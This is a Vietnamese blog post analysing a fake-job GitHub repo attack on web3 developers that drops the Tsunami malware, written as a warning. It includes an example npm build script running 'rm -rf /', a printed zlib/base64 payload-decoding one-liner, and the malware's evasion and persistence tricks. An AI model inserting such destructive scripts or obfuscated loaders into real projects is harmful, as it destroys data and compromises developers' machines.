Mấy hôm trước trên J2TEAM Community có một bài viết đề cập đến vấn đề “bị hack khi chạy code clone từ GitHub”. Bài viết nhanh chóng nhận được sự chú ý của thành viên trong nhóm.
Tóm tắt diễn biến:
- Kẻ tấn công liên hệ qua LinkedIn, giới thiệu một công việc liên quan đến hỗ trợ phát triển dự án
- Sau khi đồng ý, bạn ấy được thêm vào một repository private trên GitHub
- Khi clone mã nguồn về và chạy lệnh khởi động, quá trình tấn công sẽ được kích hoạt
Ai sẽ là mục tiêu của kẻ tấn công?
- Mục tiêu chính là những lập trình viên làm việc trong lĩnh vực web3/blockchain
- Nạn nhân được cấp quyền vào một private repo trên GitHub
- Nạn nhân được thuyết phục chạy lệnh khởi động dự án hoặc build trên máy tính cá nhân
Kỹ thuật tấn công
Tấn công thông qua Git Hook
Tuy nhiên, trong các trường hợp nạn nhân bị tấn công khi chạy lệnh như start hoặc build, các lệnh này thuộc về NPM chứ không liên quan trực tiếp đến Git. Vì vậy, chúng ta hãy đến với kiểu tấn công tiếp theo. Nhưng hãy nhớ: Bạn cũng cần cảnh giác với Git Hook!!!
Tấn công thông qua NPM Script
{
"scripts": {
"start": "node app.js",
"build": "rm -rf / && echo 'Malicious script executed!'"
}
}
Nhưng thế này thì lộ liễu quá! Kẻ tấn công thường sẽ ẩn trong file JS và áp dụng các kỹ thuật obfuscation.
Trong phát triển phần mềm, obfuscation (làm rối mã) là hành động tạo ra mã nguồn hoặc mã máy mà con người hoặc máy tính khó hiểu được. Giống như việc làm rối trong ngôn ngữ tự nhiên, nó có thể sử dụng các biểu thức vòng vo không cần thiết để cấu thành các câu lệnh.
Lập trình viên có thể cố ý làm rối mã để che giấu mục đích của nó (bảo mật thông qua sự mơ hồ), logic của nó, hoặc các giá trị ngầm định được nhúng bên trong. Mục đích chính là ngăn chặn việc can thiệp, làm nản lòng các nỗ lực dịch ngược (reverse engineering), hoặc thậm chí tạo ra một câu đố hoặc thử thách mang tính giải trí cho người đọc mã nguồn.
Dựa trên mã nguồn của repo GitHub mà thành viên J2TEAM Community chia sẻ, mình mở package.json và thấy được đăng ký lệnh start như sau:
node server/app.js | react-scripts start
Ta thấy lệnh start này thực hiện 2 lệnh là node server/app.js và react-scripts start. Mình mở tiếp file app.js, thấy code khá bình thường. Mình suy đoán có thể mã độc nằm trong các file được require vào.
fs, path hay http đều là các thư viện sẵn có của NodeJS. Không có gì đáng ngờ. express, socket.io, config và mongoose thì là các thư viện phổ biến mình biết, nên có thể loại bỏ. js-chess-engine là một thư viện có 140 sao trên GitHub, không phổ biến, chúng ta cần để ý.
Mình chợt để ý tới dòng 15:
Thông thường dev sẽ khai báo hết các câu require ở trên đầu, mình liền kiểm tra file token này.
Nhìn mọi thứ rất bình thường đúng không? Nhưng mình chợt chú ý vào thanh cuộn ngang, có một đoạn code đã được đẩy ra rất xa bằng khoảng trắng (space).
- Khi clone về chạy thử thì cũng không thấy gì bất thường, thấy nó tự popup yêu cầu tải python về máy thì mình cũng chủ quan nghĩ rằng do bên phần mềm máy ảo yêu cầu nên accept luôn (máy ảo mình dùng là parallels desktop for Mac). Chạy source lên thì thấy game cũng khá chỉnh chu và có đầu tư [video 2], càng củng cố niềm tin của mình về ông khách này cho tới khi window báo lỗi"Failed to get data from the clipboard (error-2147221040: OpenClipboard Failed)" [ảnh 3],thì mình cũng bắt đầu nghi ngờ và check task manager - phần startup app phát hiện 1 tiến trình lạ tên là "Window Update Script" có status enable [ảnh 4].
Ta có thể nhận ra đoạn code JavaScript kia chính là code đã thực hiện tải Python, tạo file Window Update Script rồi thực thi nó. Đây là ảnh do bạn ấy cung cấp:
Theo như chia sẻ từ bạn La Vi Sar trên nhóm:
Đoạn Script đã được obfuscation (thủ thuật làm rối code) [ảnh 5] và thực thi bằng đoạn script sau:
\= lambda _ : import('zlib').decompress(import('base64').b64decode(__[::-1]))
Ta thấy kẻ tấn công sử dụng kết hợp Zlib (nén) và Base64 để che giấu.
Mã Python này sẽ làm gì? Dựa theo file bạn La Vi Sar cung cấp (codeshare. io/Q8zb1J), ta thấy các hành vi sau:
- Thêm đường dẫn vào danh sách loại trừ của Windows Defender
- Đăng ký khởi động cùng Windows, đặt tên “Runtime Broker” để ngụy trang
- Tải file
- Yêu cầu chạy với quyền Admin
- Các thư mục được truy cập:
- %APPDATA%\Microsoft\Windows\Applications
- %LOCALAPPDATA%\Microsoft\Windows\Applications
- Thư mục temp
Dựa theo các từ khóa trong mã nguồn python thì mình tìm được nó chính là con malware được phân tích trong video này: https://www.youtube.com/watch?v=xoOfxz5w-p0
Mã độc mã code python trên sẽ tải về và thực thi trên máy bạn là malware Tsunami.
Tấn công thông qua Dependency
- Sử dụng thư viện phổ biến bị bỏ rơi: Chiếm quyền kiểm soát từ maintainer không còn duy trì thư viện, rồi chèn mã độc.
- Tạo thư viện trùng tên: Đặt tên gần giống với một thư viện nổi tiếng, khiến lập trình viên vô tình tải nhầm (typosquatting).